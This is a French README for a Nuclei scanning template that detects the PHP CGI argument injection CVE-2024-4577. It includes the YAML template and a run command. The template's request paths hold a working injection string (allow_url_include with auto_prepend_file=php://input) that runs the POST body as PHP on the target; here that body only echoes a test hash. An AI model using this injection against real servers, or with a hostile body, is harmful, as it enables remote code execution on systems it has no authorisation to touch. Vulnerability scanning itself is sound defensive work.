
Modèle Nuclei pour détecter la vulnérabilité d'injection d'argument PHP CGI CVE-2024-4577, permettant des tests RCE automatisés via des requêtes HTTP conçues et la correspondance de réponses.
Ce dépôt contient un modèle Nuclei pour détecter la vulnérabilité d'injection d'arguments PHP CGI identifiée comme CVE-2024-4577.
id: CVE-2024-4577
info:
name: CVE-2024-4577 PHP CGI Argument Injection
author: Hüseyin TINTAŞ
severity: critical
description: >
CVE-2024-4577 PHP CGI Argument Injection Vulnerability.
This template checks if the response contains "CVE_2024_4577_TEST" indicating a successful injection.
tags: cve,cve2024,php,cgi,rce,cve2024-4577
http:
- method: POST
path:
- "{{BaseURL}}/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
- "{{BaseURL}}/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
- "{{BaseURL}}/cgi-bin/php.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
- "{{BaseURL}}/php-cgi/php.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
- "{{BaseURL}}/index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
- "{{BaseURL}}/index.test?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
headers:
User-Agent: "curl/8.3.0"
Accept: "*/*"
Content-Type: "application/x-www-form-urlencoded"
Connection: "keep-alive"
body: |
<?php echo md5("CVE_2024_4577_TEST"); ?>
matchers:
- type: word
part: body
words:
- "83946a388fdf6cd2707eed8550575a76"
Pour utiliser ce modèle avec Nuclei, enregistrez le contenu du modèle dans un fichier nommé CVE-2024-4577.yaml et exécutez la commande suivante :
nuclei -t CVE-2024-4577.yaml -u <target-url>
Remplacez <target-url> par l'URL de la cible que vous souhaitez analyser.
Pour toute question ou information supplémentaire, vous pouvez me contacter via :